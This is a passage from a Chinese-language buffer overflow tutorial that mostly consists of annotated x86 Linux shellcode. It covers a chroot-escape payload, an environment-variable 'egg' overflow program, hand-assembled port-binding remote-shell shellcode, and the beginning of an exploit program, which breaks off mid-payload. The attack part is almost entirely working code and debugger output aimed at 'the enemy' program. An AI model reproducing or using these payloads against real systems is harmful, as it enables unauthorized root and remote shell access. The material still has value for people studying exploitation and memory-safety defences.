        "\x89\x76\x08"             /* movl %esi,0x8(%esi)   */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x88\x46\x07"             /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"             /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"               /* movb $0xb,%al       */
        "\x89\xf3"               /* movl %esi,%ebx     */
        "\x8d\x4e\x08"             /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"             /* leal 0xc(%esi),%edx   */
        "\xcd\x80"               /* int $0x80         */
        "\x31\xdb"               /* xorl %ebx,%ebx     */
        "\x89\xd8"               /* movl %ebx,%eax     */
        "\x40"                 /* inc %eax         */
        "\xcd\x80"               /* int $0x80         */
        "\xe8\xdc\xff\xff\xff"       /* call -0x24         */
        "/bin/sh";               /* .string \"/bin/sh\"   */
    ------------------------------------------------------------------------
    ----


    3:敌人把root的根目录给改掉了
    有的程序chroot了(比如/home/ftp),我们B.O之后只能在指定的目录里面打转。


    结果我们的/bin/sh变成了/home/ftp/bin/sh,当然不会存在。execve执行sh必然
    失败。




    我们可以进行如下操作:以找回root的根目录\。
    mkdir("sh");
    chroot("sh");
    chroot("../../../../../../../");


    它们的汇编代码为:
    mkdir("sh",0755); code
    ------------------------------------------------------------------------
    ----
        /* mkdir first argument is %ebx and second argument is   */
        /* %ecx.                                 */
    char code[]=
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x31\xc9"               /* xorl %ecx,%ecx     */
        "\xb0\x27"               /* movb $0x27,%al     */
        "\x8d\x5e\x05"             /* leal 0x5(%esi),%ebx   */
        /* %esi has to reference "/bin/sh" before using this   */
        /* instruction. This instruction load address of "sh"   */
        /* and store at %ebx                         */
        "\xfe\xc5"               /* incb %ch         */
        /* %cx = 0000 0001 0000 0000                   */
        "\xb0\x3d"               /* movb $0xed,%cl     */
        /* %cx = 0000 0001 1110 1101                   */
        /* %cx = 000 111 101 101                       */
        /* %cx = 0   7   5   5                       */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    chroot("sh"); code
    ------------------------------------------------------------------------
    ----
        /* chroot first argument is ebx */
    char code[]=
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x8d\x5e\x05"             /* leal 0x5(%esi),%ebx   */
        "\xb0\x3d"               /* movb $0x3d,%al     */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    chroot("../../../../../../../../../../../../../../../../"); code
    ------------------------------------------------------------------------
    ----
    char code[]=
        "\xbb\xd2\xd1\xd0\xff"       /* movl $0xffd0d1d2,%ebx */
        /* disguised "../" character string               */
        "\xf7\xdb"               /* negl %ebx         */
        /* %ebx = $0x002f2e2e                         */
        /* intel x86 is little endian.                   */
        /* %ebx = "../"                             */
        "\x31\xc9"               /* xorl %ecx,%ecx     */
        "\xb1\x10"               /* movb $0x10,%cl     */
        /* prepare for looping 16 times.                 */
        "\x56"                 /* pushl %esi         */
        /* backup current %esi. %esi has the pointer of       */
        /* "/bin/sh".                             */
        "\x01\xce"               /* addl %ecx,%esi     */
        "\x89\x1e"               /* movl %ebx,(%esi)     */
        "\x83\xc6\x03"             /* addl $0x3,%esi     */
        "\xe0\xf9"               /* loopne -0x7       */
        /* make "../../../../ . . . " character string at     */
        /* 0x10(%esi) by looping.                     */
        "\x5e"                 /* popl %esi         */
        /* restore %esi.                           */
        "\xb0\x3d"               /* movb $0x3d,%al     */
        "\x8d\x5e\x10"             /* leal 0x10(%esi),%ebx */
        /* %ebx has the address of "../../../../ . . . ".     */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    我们把这些代码加进去:
    new shellcode
    ------------------------------------------------------------------------
    ----
    char shellcode[]=
        "\xeb\x4f"               /* jmp 0x4f         */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x31\xc9"               /* xorl %ecx,%ecx     */
        "\x5e"                 /* popl %esi         */
        "\x88\x46\x07"             /* movb %al,0x7(%esi)   */
        "\xb0\x27"               /* movb $0x27,%al     */
        "\x8d\x5e\x05"             /* leal 0x5(%esi),%ebx   */
        "\xfe\xc5"               /* incb %ch         */
        "\xb1\xed"               /* movb $0xed,%cl     */
        "\xcd\x80"               /* int $0x80         */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x8d\x5e\x05"             /* leal 0x5(%esi),%ebx   */
        "\xb0\x3d"               /* movb $0x3d,%al     */
        "\xcd\x80"               /* int $0x80         */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\xbb\xd2\xd1\xd0\xff"       /* movl $0xffd0d1d2,%ebx */
        "\xf7\xdb"               /* negl %ebx         */
        "\x31\xc9"               /* xorl %ecx,%ecx     */
        "\xb1\x10"               /* movb $0x10,%cl     */
        "\x56"                 /* pushl %esi         */
        "\x01\xce"               /* addl %ecx,%esi     */
        "\x89\x1e"               /* movl %ebx,(%esi)     */
        "\x83\xc6\x03"             /* addl %0x3,%esi     */
        "\xe0\xf9"               /* loopne -0x7       */
        "\x5e"                 /* popl %esi         */
        "\xb0\x3d"               /* movb $0x3d,%al     */
        "\x8d\x5e\x10"             /* leal 0x10(%esi),%ebx */
        "\xcd\x80"               /* int $0x80         */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x89\x76\x08"             /* movl %esi,0x8(%esi)   */
        "\x89\x46\x0c"             /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"               /* movb $0xb,%al       */
        "\x89\xf3"               /* movl %esi,%ebx     */
        "\x8d\x4e\x08"             /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"             /* leal 0xc(%esi),%edx   */
        "\xcd\x80"               /* int $0x80         */
        "\xe8\xac\xff\xff\xff"       /* call -0x54         */
        "/bin/sh";               /* .string \"/bin/sh\"   */
    ------------------------------------------------------------------------
    ----
    4:敌人的buffer数组开的太小


    如果敌人的strcpy(buffer,ourstring)中的buffer离堆栈顶过于接近,比如,只有
    12个
    字节的偏移,我们的shellcode有几十个字节,如果buffer开的太小,是无法容纳

    shellcode的,结果会导致如下情况:


    内存底部                     内存顶部
          buffer   EBP   ret   
    <------   [SSS...S][S   ][S   ]S..SAAAAAAAAAAA
          ^&buffer
    堆栈顶部                     堆栈底部     


    看到了吗?由于buffer太小,离栈顶又太近,相对于这个短小的空间,我们的
    shellcode
    太长了,以至于覆盖了ret,而我们猜测的返回地址(A)被迫写到了更远的地方。
    这样,
    函数执行完,返回的时候,取出的是shellcode的某一个片断作为返回地址,跑到
    月球上
    了。。。


    为了解决这个问题,我们引入了环境变量。为了避免溢出字符串的长度大于
    buffer长度
    的情况,我们把溢出串放在一个环境变量里面,把他的地址放在另一个环境变量里
    面。
    这两个变量分别为:
    $RET = AAAAAAAAAAAAAAAAAAAAA
    $EGG = NNNNNNNNNNNSSSSSSSSSS
    把变量RET的内容作为参数传给被测试的程序。


    这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候,父
    shell
    的环境变量都会在堆栈中。因此,当目标程序在一个以EGG为环境变量的shell中运
    行时
    ,他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示:


    堆栈顶                                           堆
    栈底
        <参数指针>NULL<环境变量指针>NULL<参数个数><参数><环境变量>




    这样,当我们用猜测的地址(A)构成的RET变量传给敌人的strcpy函数时,他的堆
    栈就
    会被A充满。如果我们的EGG很大,那么里面的NOP就越多,自然命中的概率就越大

    overflow.c
    ------------------------------------------------------------------------
    ------
    #include 


    #define DEFAULT_OFFSET             0
    #define DEFAULT_BUFFER_SIZE         512
    #define DEFAULT_EGG_SIZE           2048
    #define NOP                   0x90


    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    unsigned long get_esp(void) {
      __asm__("movl %esp,%eax");
    }


    void main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE;


    if (argc > 1) bsize   = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);
    if (argc > 3) eggsize = atoi(argv[3]);




    if (!(buff = malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }
    if (!(egg = malloc(eggsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }


    addr = get_esp() - offset;
    printf("Using address: 0x%x\n", addr);


    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
      *(addr_ptr++) = addr;


    ptr = egg;
    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
      *(ptr++) = NOP;


    for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode;


    buff[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';
              //现在,egg里面内容为:NNNNNNNNNNNNNNNNNNSSS
              //buff里面的内容为AAAAAAAAAAAAAAAAAAA,
              //我们猜测的egg环境变量的开始地址。
    memcpy(egg,"EGG=",4);
    putenv(egg);
    memcpy(buff,"RET=",4);
    putenv(buff); 
              //使用 putenv 来设置EGG,RET这两个环境变量。
    system("/bin/bash");
              //这个bash继承了两个环境变量。
    }
    ------------------------------------------------------------------------
    ------
    好了,来试一试:
    ------------------------------------------------------------------------
    ------
    [nkl10]$ ./overflow 768
    Using address: 0xbffffdb0
    [nkl10]$ ./overflow $RET
    $




      远程堆栈溢出


    我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。
    我们
    必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制
    (或者
    别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。


    普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击
    者来说
    ,由于我们不在本地,这个sh我们并没有得到。


    因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,
    然后
    listen我们的连接,给我们一个远程shell的责任。


    如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行
    )作为
    这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进
    来后,
    开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,
    我们
    远程的使用者就有了一个远程shell(跟telnet一样啦)。


    下面就是这个算法的C实现:


    opensocket.c
    ------------------------------------------------------------------------
    ----
    1#include
    2#include
    3#include


    4int soc,cli,soc_len;
    5struct sockaddr_in serv_addr;
    6struct sockaddr_in cli_addr;


    7int main()
    8{
    9     if(fork()==0)
    10     {
    11           serv_addr.sin_family=AF_INET;
    12           serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
    13           serv_addr.sin_port=htons(30464);
    14           soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    15           bind(soc,(struct sockaddr *)&serv_addr,
    sizeof(serv_addr));
    16           listen(soc,1);
    17           soc_len=sizeof(cli_addr);
    18           cli=accept(soc,(struct sockaddr *)&cli_addr,
    &soc_len);
    19           dup2(cli,0);
    20           dup2(cli,1);
    21           dup2(cli,2);
    22           execl("/bin/sh","sh",0);
    23     }
    24}
    ------------------------------------------------------------------------
    ----
    第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的
    pid,
    对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子
    进程
    作为socket通信的执行者继续下面的操作。


    10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后
    调用
    bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接



    当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,


    标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了


    这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。


    看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用


    gdb来反编译上面的程序:


    [nkl10]$ gcc -o opensocket -static opensocket.c
    [nkl10]$ gdb opensocket
    GNU gdb 4.17
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you
    are
    welcome to change it and/or distribute copies of it under certain 
    conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for 
    details.
    This GDB was configured as "i386-redhat-linux"...
    (gdb) disassemble fork
    Dump of assembler code for function fork:
    0x804ca90 :     movl   $0x2,%eax
    0x804ca95 :   int   $0x80
    0x804ca97 :   cmpl   $0xfffff001,%eax
    0x804ca9c :   jae   0x804cdc0 <__syscall_error>
    0x804caa2 :   ret   
    0x804caa3 :   nop   
    0x804caa4 :   nop   
    0x804caa5 :   nop   
    0x804caa6 :   nop   
    0x804caa7 :   nop   
    0x804caa8 :   nop   
    0x804caa9 :   nop   
    0x804caaa :   nop   
    0x804caab :   nop   
    0x804caac :   nop   
    0x804caad :   nop   
    0x804caae :   nop   
    0x804caaf :   nop   
    End of assembler dump.
    (gdb) disassemble socket
    Dump of assembler code for function socket:
    0x804cda0 :   movl   %ebx,%edx
    0x804cda2 :   movl   $0x66,%eax
    0x804cda7 :   movl   $0x1,%ebx
    0x804cdac : leal   0x4(%esp,1),%ecx
    0x804cdb0 : int   $0x80
    0x804cdb2 : movl   %edx,%ebx
    0x804cdb4 : cmpl   $0xffffff83,%eax
    0x804cdb7 : jae   0x804cdc0 <__syscall_error>
    0x804cdbd : ret   
    0x804cdbe : nop   
    0x804cdbf : nop   
    End of assembler dump.
    (gdb) disassemble bind
    Dump of assembler code for function bind:
    0x804cd60 :     movl   %ebx,%edx
    0x804cd62 :   movl   $0x66,%eax
    0x804cd67 :   movl   $0x2,%ebx
    0x804cd6c :   leal   0x4(%esp,1),%ecx
    0x804cd70 :   int   $0x80
    0x804cd72 :   movl   %edx,%ebx
    0x804cd74 :   cmpl   $0xffffff83,%eax
    0x804cd77 :   jae   0x804cdc0 <__syscall_error>
    0x804cd7d :   ret   
    0x804cd7e :   nop   
    0x804cd7f :   nop   
    End of assembler dump.
    (gdb) disassemble listen
    Dump of assembler code for function listen:
    0x804cd80 :   movl   %ebx,%edx
    0x804cd82 :   movl   $0x66,%eax
    0x804cd87 :   movl   $0x4,%ebx
    0x804cd8c : leal   0x4(%esp,1),%ecx
    0x804cd90 : int   $0x80
    0x804cd92 : movl   %edx,%ebx
    0x804cd94 : cmpl   $0xffffff83,%eax
    0x804cd97 : jae   0x804cdc0 <__syscall_error>
    0x804cd9d : ret   
    0x804cd9e : nop   
    0x804cd9f : nop   
    End of assembler dump.
    (gdb) disassemble accept
    Dump of assembler code for function __accept:
    0x804cd40 <__accept>:   movl   %ebx,%edx
    0x804cd42 <__accept+2>: movl   $0x66,%eax
    0x804cd47 <__accept+7>: movl   $0x5,%ebx
    0x804cd4c <__accept+12>:     leal   0x4(%esp,1),%ecx
    0x804cd50 <__accept+16>:     int   $0x80
    0x804cd52 <__accept+18>:     movl   %edx,%ebx
    0x804cd54 <__accept+20>:     cmpl   $0xffffff83,%eax
    0x804cd57 <__accept+23>:     jae   0x804cdc0 <__syscall_error>
    0x804cd5d <__accept+29>:     ret   
    0x804cd5e <__accept+30>:     nop   
    0x804cd5f <__accept+31>:     nop   
    End of assembler dump.
    (gdb) disassemble dup2 
    Dump of assembler code for function dup2:
    0x804cbe0 :     movl   %ebx,%edx
    0x804cbe2 :   movl   0x8(%esp,1),%ecx
    0x804cbe6 :   movl   0x4(%esp,1),%ebx
    0x804cbea :   movl   $0x3f,%eax
    0x804cbef :   int   $0x80
    0x804cbf1 :   movl   %edx,%ebx
    0x804cbf3 :   cmpl   $0xfffff001,%eax
    0x804cbf8 :   jae   0x804cdc0 <__syscall_error>
    0x804cbfe :   ret   
    0x804cbff :   nop   
    End of assembler dump.


    现在可以写上面c代码的汇编语句了。




    fork()的汇编代码
    ------------------------------------------------------------------------
    ----
    char code[]=
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\xb0\x02"               /* movb $0x2,%al       */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    socket(2,1,6)的汇编代码
    注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
    ------------------------------------------------------------------------
    ----
        /* socket使用66号系统调用,1号子调用。             */
        /* 他使用一段内存块来传递参数2,1,6。               */
        /* %ecx 里面为这个内存块的地址指针.               */
    char code[]=
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x31\xdb"               /* xorl %ebx,%ebx     */
        "\x89\xf1"               /* movl %esi,%ecx     */
        "\xb0\x02"               /* movb $0x2,%al       */
        "\x89\x06"               /* movl %eax,(%esi)     */
        /* 第一个参数                             */
        /* %esi 指向一段未使用的内存空间                 */
        "\xb0\x01"               /* movb $0x1,%al       */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        /* 第二个参数                             */
        "\xb0\x06"               /* movb $0x6,%al       */
        "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
        /* 第三个参数.                             */
        "\xb0\x66"               /* movb $0x66,%al     */
        "\xb3\x01"               /* movb $0x1,%bl       */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码
    ------------------------------------------------------------------------
    ----
        /* bind使用66号系统调用,2号子调用。               */
        /* 他使用一段内存块来传递参数。                 */
        /* %ecx 里面为这个内存块的地址指针.               */
    char code[]=
        "\x89\xf1"               /* movl %esi,%ecx     */
        "\x89\x06"               /* movl %eax,(%esi)     */
        /* %eax 的内容为刚才socket调用的返回值,           */
        /* 就是soc文件描述符,作为第一个参数               */
        "\xb0\x02"               /* movb $0x2,%al       */
        "\x66\x89\x46\x0c"         /* movw %ax,0xc(%esi)   */
        /* serv_addr.sin_family=AF_NET(2)               */
        /* 2 放在 0xc(%esi).                         */
        "\xb0\x77"               /* movb $0x77,%al     */
        "\x66\x89\x46\x0e"         /* movw %ax,0xe(%esi)   */
        /* 端口号(0x7700=30464)放在 0xe(%esi)             */
        "\x8d\x46\x0c"             /* leal 0xc(%esi),%eax   */
        /* %eax = serv_addr 的地址                     */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        /* 第二个参数.                             */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x89\x46\x10"             /* movl %eax,0x10(%esi) */
        /* serv_addr.sin_addr.s_addr=0                   */
        "\xb0\x10"               /* movb $0x10,%al     */
        "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
        /* 第三个参数     .                       */
        "\xb0\x66"               /* movb $0x66,%al     */
        "\xb3\x02"               /* movb $0x2,%bl       */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    listen(soc,1)的汇编代码
    ------------------------------------------------------------------------
    ----
        /* listen使用66号系统调用,4号子调用。             */
        /* 他使用一段内存块来传递参数。                 */
        /* %ecx 里面为这个内存块的地址指针.               */
    char code[]=
        "\x89\xf1"               /* movl %esi,%ecx     */
        "\x89\x06"               /* movl %eax,(%esi)     */
        /* %eax 的内容为刚才socket调用的返回值,           */
        /* 就是soc文件描述符,作为第一个参数               */
        "\xb0\x01"               /* movb $0x1,%al       */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        /* 第二个参数.                             */
        "\xb0\x66"               /* movb $0x66,%al     */
        "\xb3\x04"               /* movb $0x4,%bl       */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    accept(soc,0,0)的汇编代码
    ------------------------------------------------------------------------
    ----
        /* accept使用66号系统调用,5号子调用。             */
        /* 他使用一段内存块来传递参数。                 */
        /* %ecx 里面为这个内存块的地址指针.               */
    char code[]=
        "\x89\xf1"               /* movl %esi,%ecx     */
        "\x89\xf1"               /* movl %eax,(%esi)     */
        /* %eax 的内容为刚才socket调用的返回值,           */
        /* 就是soc文件描述符,作为第一个参数               */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        /* 第二个参数.                             */
        "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
        /* 第三个参数.                             */
        "\xb0\x66"               /* movb $0x66,%al     */
        "\xb3\x05"               /* movb $0x5,%bl       */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    dup2(cli,0)的汇编代码
    ------------------------------------------------------------------------
    ----
        /* 第一个参数为 %ebx, 第二个参数为 %ecx           */
    char code[]=
        /* %eax 里面是刚才accept调用的返回值,             */
        /* 客户的文件描述符cli .                       */
        "\x88\xc3"               /* movb %al,%bl       */
        "\xb0\x3f"               /* movb $0x3f,%al     */
        "\x31\xc9"               /* xorl %ecx,%ecx     */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----


    现在该把这些所有的细节都串起来,形成一个新的shell的时候了。


    new shellcode
    ------------------------------------------------------------------------
    ----
    char shellcode[]=
    00     "\x31\xc0"               /* xorl %eax,%eax     */
    02     "\xb0\x02"               /* movb $0x2,%al       */
    04     "\xcd\x80"               /* int $0x80         */
    06     "\x85\xc0"               /* testl %eax,%eax     */
    08     "\x75\x43"               /* jne 0x43         */
        /* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止   */
        /* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0)     */
    0a     "\xeb\x43"               /* jmp 0x43         */
        /* 当fork()==0 的时候,表明是子进程                 */
        /* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5     */


    0c     "\x5e"                 /* popl %esi         */
    0d     "\x31\xc0"               /* xorl %eax,%eax     */
    0f     "\x31\xdb"               /* xorl %ebx,%ebx     */
    11     "\x89\xf1"               /* movl %esi,%ecx     */
    13     "\xb0\x02"               /* movb $0x2,%al       */
    15     "\x89\x06"               /* movl %eax,(%esi)     */
    17     "\xb0\x01"               /* movb $0x1,%al       */
    19     "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
    1c     "\xb0\x06"               /* movb $0x6,%al       */
    1e     "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
    21     "\xb0\x66"               /* movb $0x66,%al     */
    23     "\xb3\x01"               /* movb $0x1,%bl       */
    25     "\xcd\x80"               /* int $0x80         */
        /* 执行socket(),eax里面为返回值soc文件描述符         */


    27     "\x89\x06"               /* movl %eax,(%esi)     */
    29     "\xb0\x02"               /* movb $0x2,%al       */
    2d     "\x66\x89\x46\x0c"         /* movw %ax,0xc(%esi)   */
    2f     "\xb0\x77"               /* movb $0x77,%al     */
    31     "\x66\x89\x46\x0e"         /* movw %ax,0xe(%esi)   */
    35     "\x8d\x46\x0c"             /* leal 0xc(%esi),%eax   */
    38     "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
    3b     "\x31\xc0"               /* xorl %eax,%eax     */
    3d     "\x89\x46\x10"             /* movl %eax,0x10(%esi) */
    40     "\xb0\x10"               /* movb $0x10,%al     */
    42     "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
    45     "\xb0\x66"               /* movb $0x66,%al     */
    47     "\xb3\x02"               /* movb $0x2,%bl       */
    49     "\xcd\x80"               /* int $0x80         */
        /* 执行bind()                               */


    4b     "\xeb\x04"               /* jmp 0x4           */
        /* 越过下面的两个跳转                         */


    4d     "\xeb\x55"               /* jmp 0x55         */
        /* 跳到0x4f+0x55=0xa4                         */


    4f     "\xeb\x5b"               /* jmp 0x5b         */
        /* 跳到0x51+0x5b=0xac                         */


    51     "\xb0\x01"               /* movb $0x1,%al       */
    53     "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
    56     "\xb0\x66"               /* movb $0x66,%al     */
    58     "\xb3\x04"               /* movb $0x4,%bl       */
    5a     "\xcd\x80"               /* int $0x80         */
        /* 执行listen()                             */


    5c     "\x31\xc0"               /* xorl %eax,%eax     */
    5e     "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
    61     "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
    64     "\xb0\x66"               /* movb $0x66,%al     */
    66     "\xb3\x05"               /* movb $0x5,%bl       */
    68     "\xcd\x80"               /* int $0x80         */
        /* 执行accept(),eax里面为返回值cli文件描述符         */


    6a     "\x88\xc3"               /* movb %al,%bl       */
    6c     "\xb0\x3f"               /* movb $0x3f,%al     */
    6e     "\x31\xc9"               /* xorl %ecx,%ecx     */
    70     "\xcd\x80"               /* int $0x80         */
    72     "\xb0\x3f"               /* movb $0x3f,%al     */
    74     "\xb1\x01"               /* movb $0x1,%cl       */
    76     "\xcd\x80"               /* int $0x80         */
    78     "\xb0\x3f"               /* movb $0x3f,%al     */
    7a     "\xb1\x02"               /* movb $0x2,%cl       */
    7c     "\xcd\x80"               /* int $0x80         */
        /* 执行三个dup2()                             */


    7e     "\xb8\x2f\x62\x69\x6e"       /* movl $0x6e69622f,%eax */
        /* %eax="/bin"                               */
    83     "\x89\x06"               /* movl %eax,(%esi)     */
    85     "\xb8\x2f\x73\x68\x2f"       /* movl $0x2f68732f,%eax */
        /* %eax="/sh/"                               */
    8a     "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
    8d     "\x31\xc0"               /* xorl %eax,%eax     */
    8f     "\x88\x46\x07"             /* movb %al,0x7(%esi)   */
    92     "\x89\x76\x08"             /* movl %esi,0x8(%esi)   */
    95     "\x89\x46\x0c"             /* movl %eax,0xc(%esi)   */
    98     "\xb0\x0b"               /* movb $0xb,%al       */
    9a     "\x89\xf3"               /* movl %esi,%ebx     */
    9c     "\x8d\x4e\x08"             /* leal 0x8(%esi),%ecx   */
    9f     "\x8d\x56\x0c"             /* leal 0xc(%esi),%edx   */
    a2     "\xcd\x80"               /* int $0x80         */
        /* 执行execve()                             */
        /* 运行/bin/sh()                             */


    a4     "\x31\xc0"               /* xorl %eax,%eax     */
    a6     "\xb0\x01"               /* movb $0x1,%al       */
    a8     "\x31\xdb"               /* xorl %ebx,%ebx     */
    aa     "\xcd\x80"               /* int $0x80         */
        /* 执行exit()                               */


    ac     "\xe8\x5b\xff\xff\xff";       /* call -0xa5         */
        /* 执行0x0c处的指令                           */


    b1
    ------------------------------------------------------------------------
    ----


    好,长长的shell终于写完了,下面就是攻击程序了。


    exploit4.c
    ------------------------------------------------------------------------
    ----
    #include
    #include
    #include
    #include
    #include


    #define ALIGN                   0
    #define OFFSET                   0
    #define RET_POSITION             1024
    #define RANGE                   200
    #define NOP                   0x90


    char shellcode[]=
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\xb0\x02"               /* movb $0x2,%al       */
        "\xcd\x80"               /* int $0x80         */
        "\x85\xc0"               /* testl %eax,%eax     */
        "\x75\x43"               /* jne 0x43         */
        "\xeb\x43"               /* jmp 0x43         */
        "\x5e"                 /* popl %esi         */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x31\xdb"               /* xorl %ebx,%ebx     */
        "\x89\xf1"               /* movl %esi,%ecx     */
        "\xb0\x02"               /* movb $0x2,%al       */
        "\x89\x06"               /* movl %eax,(%esi)     */
        "\xb0\x01"               /* movb $0x1,%al       */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        "\xb0\x06"               /* movb $0x6,%al       */
        "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
        "\xb0\x66"               /* movb $0x66,%al     */
        "\xb3\x01"               /* movb $0x1,%bl       */
        "\xcd\x80"               /* int $0x80         */
        "\x89\x06"               /* movl %eax,(%esi)     */
        "\xb0\x02"               /* movb $0x2,%al       */
        "\x66\x89\x46\x0c"         /* movw %ax,0xc(%esi)   */
        "\xb0\x77"               /* movb $0x77,%al     */
        "\x66\x89\x46\x0e"         /* movw %ax,0xe(%esi)   */
        "\x8d\x46\x0c"             /* leal 0xc(%esi),%eax   */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x89\x46\x10"             /* movl %eax,0x10(%esi) */
        "\xb0\x10"               /* movb $0x10,%al     */
        "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
        "\xb0\x66"               /* movb $0x66,%al     */
        "\xb3\x02"               /* movb $0x2,%bl       */
        "\xcd\x80"               /* int $0x80         */
        "\xeb\x04"               /* jmp 0x4           */
        "\xeb\x55"               /* jmp 0x55         */
        "\xeb\x5b"               /* jmp 0x5b         */
        "\xb0\x01"               /* movb $0x1,%al       */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        "\xb0\x66"               /* movb $0x66,%al     */
        "\xb3\x04"               /* movb $0x4,%bl       */
        "\xcd\x80"               /* int $0x80         */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
        "\xb0\x66"               /* movb $0x66,%al     */
        "\xb3\x05"               /* movb $0x5,%bl       */
        "\xcd\x80"               /* int $0x80         */
        "\x88\xc3"               /* movb %al,%bl       */
        "\xb0\x3f"               /* movb $0x3f,%al     */
        "\x31\xc9"               /* xorl %ecx,%ecx     */
        "\xcd\x80"               /* int $0x80         */
        "\xb0\x3f"               /* movb $0x3f,%al     */
        "\xb1\x01"               /* movb $0x1,%cl       */
        "\xcd\x80"               /* int $0x80         */
        "\xb0\x3f"               /* movb $0x3f,%al     */
        "\xb1\x02"               /* movb $0x2,%cl       */
        "\xcd\x80"               /* int $0x80         */
        "\xb8\x2f\x62\x69\x6e"       /* movl $0x6e69622f,%eax */
        "\x89\x06"               /* movl %eax,(%esi)     */
        "\xb8\x2f\x73\x68\x2f"       /* movl $0x2f68732f,%eax */
        "\x89\x46\x04"             /* movl %eax,0x4(%esi)   */
        "\x31\xc0"               /* xorl %eax,%eax     */
